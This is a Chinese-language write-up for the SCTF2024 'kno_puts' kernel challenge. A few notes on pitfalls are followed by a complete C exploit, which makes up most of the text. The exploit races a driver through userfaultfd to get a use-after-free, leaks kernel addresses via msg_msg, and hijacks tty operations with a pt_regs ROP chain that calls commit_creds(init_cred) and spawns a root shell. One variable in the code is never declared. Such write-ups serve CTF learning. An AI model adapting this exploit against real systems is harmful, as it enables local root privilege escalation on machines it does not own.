SCTF2024 kno_puts

发布于:2024-10-15 ⋅ 阅读:(98) ⋅ 点赞:(0)

        很明显,race_condtion的问题,但是只有一次free的机会,kaslr,smep,smap,kpti等保护全开,但是random_freelist没开。

        我用的方法是利用race_condtion构造UAF,msg_msg泄露基址,然后pipe_buffer劫持控制流。

        有kernel pwn基础的很容易看懂exp,这里主要说遇到的问题。

1. msg_msg直接read的时候会释放,这也是我们想要的,但这是要确保msg_msg的security字段是正常的,根据观察,这个字段的正常值和page_offset_base的偏移是固定的,所以只有泄露page_offset_base的基址即可。

2. tty_struct的结构体的前八字节不能改变,不然write会失败。

3. 打pt_regs,最好先把寄存器都赋值为0xdeadbeef,然后打个断点,观察一下哪些栈底的值被变成了其他值,该题中r11寄存器变了。

4.寄存器赋值和最后的write要都用汇编实现,不然可能write失败,"write:bad address";以下是wp:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <errno.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <stdint.h>

size_t prepare_kernel_cred=NULL;
size_t commit_creds=NULL;
size_t user_cs, user_ss, user_rflags, user_sp;
int fd;
size_t addr;
int qu;


int get_msg_queue(void)
{
    return msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
}

int read_msg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
    return msgrcv(msqid, msgp, msgsz, msgtyp, 0);
}

/**
 * the msgp should be a pointer to the `struct msgbuf`,
 * and the data should be stored in msgbuf.mtext
 */
int write_msg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
    ((struct msgbuf*)msgp)->mtype = msgtyp;
    return msgsnd(msqid, msgp, msgsz, 0);
}

/* for MSG_COPY, `msgtyp` means to read no.msgtyp msg_msg on the queue */
int peek_msg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
    return msgrcv(msqid, msgp, msgsz, msgtyp, 
                  MSG_COPY | IPC_NOWAIT | MSG_NOERROR);
}

void save_status()
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void err_exit(char *msg)
{
        perror(msg);
        sleep(2);
        exit(EXIT_FAILURE);
}

void getRootPrivilige(void)
{
    void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
    int (*commit_creds_ptr)(void *) = commit_creds;
    (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

void get_shell(){
        system("/bin/sh");
}

void add(size_t buf){
	size_t arg[6];
	arg[0]=0;
	arg[1]=0;
	arg[2]=0;
	arg[3]=0;
	arg[4]=1;
	arg[5]=buf;
	ioctl(fd,65520,arg);
}

void del(){
	size_t arg[6];
	arg[0]=0;
	arg[1]=0;
	arg[2]=0;
	arg[3]=0;
	arg[4]=1;
	arg[5]=0;
	ioctl(fd,65521,arg);
}


void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
{
        long uffd;
        struct uffdio_api uffdio_api;
        struct uffdio_register uffdio_register;

        uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
        if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);

        uffdio_api.api = UFFD_API;
        uffdio_api.features = 0;
        if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) perror("[X] ioctl-UFFDIO_API"), exit(-1);

        uffdio_register.range.start = (long long)addr;
        uffdio_register.range.len = len;
        uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
        if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) perror("[X] ioctl-UFFDIO_REGISTER"), exit(-1);

        if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)
                puts("[X] pthread_create at register_userfaultfd"), exit(-1);
}


char copy_src[0x1000];
char blank[800];
void* handler0(void* arg)
{
        struct uffd_msg msg;
        struct uffdio_copy uffdio_copy;
        long uffd = (long)arg;

        for(;;)
        {
                int res;
                struct pollfd pollfd;
                pollfd.fd = uffd;
                pollfd.events = POLLIN;
                if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);

                res = read(uffd, &msg, sizeof(msg));
                if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
                if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
                if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);

                puts("[+] Now in userfaultfd handler0");
                
                del();
                
                size_t next=addr;
                
                memcpy(copy_src,&next,8);


                uffdio_copy.src = (long long)copy_src;
                uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
                uffdio_copy.len = 0x1000;
                uffdio_copy.mode = 0;
                uffdio_copy.copy = 0;
                if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
        }
}


void get_flag()
{
        system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /tmp/pwn");
        system("chmod +x /tmp/pwn");
        system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/good");
        system("chmod +x /tmp/good");
        system("/tmp/good");
        sleep(1);
        system("cat /flag");
        exit(0);
}

char *uffd_buf0;
pthread_t thr0;
int tty;
int tty1;
int pipefd[3][2];
size_t kernel_base;
size_t init_cred;
size_t commit_creds;
size_t pop_rdi;
size_t restore;
int tt;
size_t rr;
size_t pop_rdx;

int main(){
        save_status();
        bind_core(0);
        fd=open("/dev/ksctf",2);
        
        if(fd<0)printf("open fail\n");
        
	add(&addr);
	
	size_t page_offset_base=addr&0xfffffffff0000000;
	
	printf("page_offset_base:%lx\n",page_offset_base);
	
	size_t security=page_offset_base+0xe6813a8;
	
	tty=open("/dev/ptmx",0);
	printf("heap_addr:%lx;\n",addr);
	
        uffd_buf0 = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
        if (uffd_buf0 == MAP_FAILED || uffd_buf1 == MAP_FAILED) err_exit("mmap for uffd");
        register_userfaultfd(&thr0, uffd_buf0, 0x1000, handler0);
        
      	write(fd,uffd_buf0,0x8);
      	
      	printf("start to leak msg and UAF!\n");
      	
      	qu=get_msg_queue();
      	
      	memset(blank,'A',800);
      	
      	write_msg(qu,blank,800,1);
      	
      	printf("msg_msg constructed\n");
      	
      	add(addr);
      	
      	size_t cover[6];
      	
      	cover[0]=addr;
      	cover[1]=addr;
      	cover[2]=1;
      	cover[3]=2000;
      	cover[4]=0;
      	cover[5]=security;
      	
      	write(fd,cover,0x30);
      	
      	printf("leaking msg\n");
      	
      	size_t leak[250];
      	
      	read_msg(qu,leak,2000,1);
      	
      	int r=0;
      	
      	printf("this is msg\n");
      	
      	for(;r<250;r++)printf("%d:%lx;\n",r,leak[r]);
      	
      	kernel_base=leak[126]-0x2073e00;
      	
      	printf("kernel_base:%lx\n",kernel_base);
      	 	
      	size_t uu=0;
      	
      	write(fd,&uu,8);
      	
      	commit_creds=kernel_base+0x1097d00;
      	init_cred=kernel_base+0x2448cc0;
      	pop_rdi=kernel_base+0x1003e98;
      	restore=kernel_base+0x1c00a9f;
      	size_t add_rsp=kernel_base+0x1086039;
      	size_t mod=kernel_base+0x24493c0-0x8;
      	pop_rdx=kernel_base+0x1056008;
      	


      	
      	tt=open("/dev/ptmx",2);
      	
      	if(tt<0)printf("open fail\n");
      	
      	size_t rop[100];
      	
      	int i=0;
      	
      	rop[i++]=0x100005401;
      	rop[i++]=add_rsp;
      	rop[i++]=addr-0x400;
      	rop[i++]=addr-0x30;
  
      	
      	write(fd,rop,32);
      	
      	rr=&addr;
      	

      	
      	__asm__(
      	"mov r15,0xdeadbeef;"
      	"mov r14,0xdeadbeef;"
      	"mov r13,0xdeadbeef;"
      	"mov r12,pop_rdi;"
      	"mov rbp,init_cred;"
      	"mov rbx,pop_rdx;"
      	"mov r11,0xdeadbeef;"
      	"mov r10,commit_creds;"
      	"mov r9,restore;"
      	"mov r8,0xdeadbeef;"
      	"mov rax,1;"
      	"mov rdi,tt;"
      	"mov rsi,rr;"
      	"mov rdx,8;"
      	"syscall;"
      	);
      	

	

	//int res=write(tt,&addr,8);
		
	//if(res==-1)perror("write");
	
	system("/bin/sh");

        return 0;
                    
        }


网站公告

今日签到

点亮在社区的每一天
去签到